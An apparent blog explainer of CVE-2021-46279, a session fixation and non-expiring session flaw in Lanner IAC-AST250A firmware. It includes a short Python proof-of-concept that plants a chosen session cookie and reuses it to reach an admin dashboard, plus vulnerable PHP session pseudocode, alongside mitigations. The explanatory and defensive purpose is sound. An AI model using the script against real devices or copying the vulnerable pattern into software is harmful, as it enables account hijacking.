In today’s connected world, devices like industrial computers and network appliances are everywhere. This also means their security flaws have real-world impact. One such case is CVE-2021-46279, a vulnerability in Lanner Inc’s IAC-AST250A firmware version 1.10.. In this long read, we’ll break down what went wrong, how attackers can exploit it, and provide code snippets for better understanding.

What Devices are Affected?

Product: Lanner IAC-AST250A  
Firmware: v1.10.

This is an embedded industrial controller used in lots of enterprise and industrial settings.

CVE-2021-46279 actually covers two linked security problems with the system’s web interface

- Session Fixation: The device accepts a session ID from the user or attacker, instead of always creating a fresh one.

Insufficient Session Expiration: After logout or timeout, the session can still be reused.

Combined, these flaws let an attacker hijack a user’s login session with ease.

Why Does This Matter?

When you log in to a device’s web panel, the system gives your browser a session cookie. This says, “You’re yours, you’re authenticated.” If an attacker can grab, guess, or set this session cookie, they can steal your session—gaining full device access without your password.

A Simple Session Fixation Overview

Session fixation is an attack where a hacker sets or predicts a user’s session ID, makes the victim use it, and then later hijacks the session.

Insufficient session expiration means the system doesn’t end sessions cleanly, so old or invalid sessions can still be reused.

Session Fixation:

The attacker tricks the victim (say, an admin) into logging in using a session with that ID by forcing them to use a link or a prepared browser.

Hijack:

The attacker, already knowing the session ID, can now use the same cookie to access the system as the victim.

Assume the web interface is at http://target-device.local/

Let’s simulate what’s happening

import requests

# Attacker chooses a session ID
malicious_session_id = "deadbeef123456"

# Step 1: Attacker sets the known session ID by visiting login
s = requests.Session()
s.cookies.set('session', malicious_session_id)
res = s.get("http://target-device.local/login")

# Step 2: Attacker tricks the admin into using the same session (e.g., via phishing)

# Step 3: After login, attacker uses the same session ID to hijack
s = requests.Session()
s.cookies.set('session', malicious_session_id)
dashboard = s.get("http://target-device.local/dashboard")

print("Got admin dashboard:", "Welcome, admin" in dashboard.text)

Result:
Even though the attacker never knew the admin’s password, they now have the same access as the admin.

When someone logs in, the web application should create a fresh, unpredictable session ID. Instead, it keeps or accepts one sent by the user.

PHP Example (pseudocode)

if (isset($_COOKIE['session'])) {
    $session_id = $_COOKIE['session'];
    // BAD: continues using attacker-defined session ID!
} else {
    $session_id = random_session_id();
    setcookie('session', $session_id);
}

2. Weak Session Expiration

After logout, or even after timeout, the application fails to destroy the session on the server side. This means the session ID stays valid.

References

- National Vulnerability Database: CVE-2021-46279
- IoT Inspector security advisory (original researcher)
- OWASP: Session Fixation

How Can Users Protect Themselves?

- Firmware Update: Check Lanner’s website or contact support for an updated firmware that fixes session handling.

Best Practices: Limit device access to trusted networks, use VPN, and regularly review sessions.

- Monitoring: Watch for unfamiliar devices or IPs in your system logs that may be reusing sessions.

Fixing the Flaws (For Developers)

Mitigation:

Always regenerate a session ID after login (session_regenerate_id() in PHP).

- Invalidate sessions on logout/server-side expiration.

Summary

CVE-2021-46279 shows how overlooked details in session management can lead to full system compromise—no password cracking required. If you manage Lanner devices or similar embedded systems, make sure your firmware is up to date and take session management seriously.

This vulnerability might seem technical, but the risk is simple: an attacker can become you—all because of poor session handling.


Stay secure! If you own an affected device, patch it ASAP, and always double-check web security basics.


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Timeline

Published on: 10/24/2022 14:15:00 UTC
Last modified on: 10/24/2022 18:40:00 UTC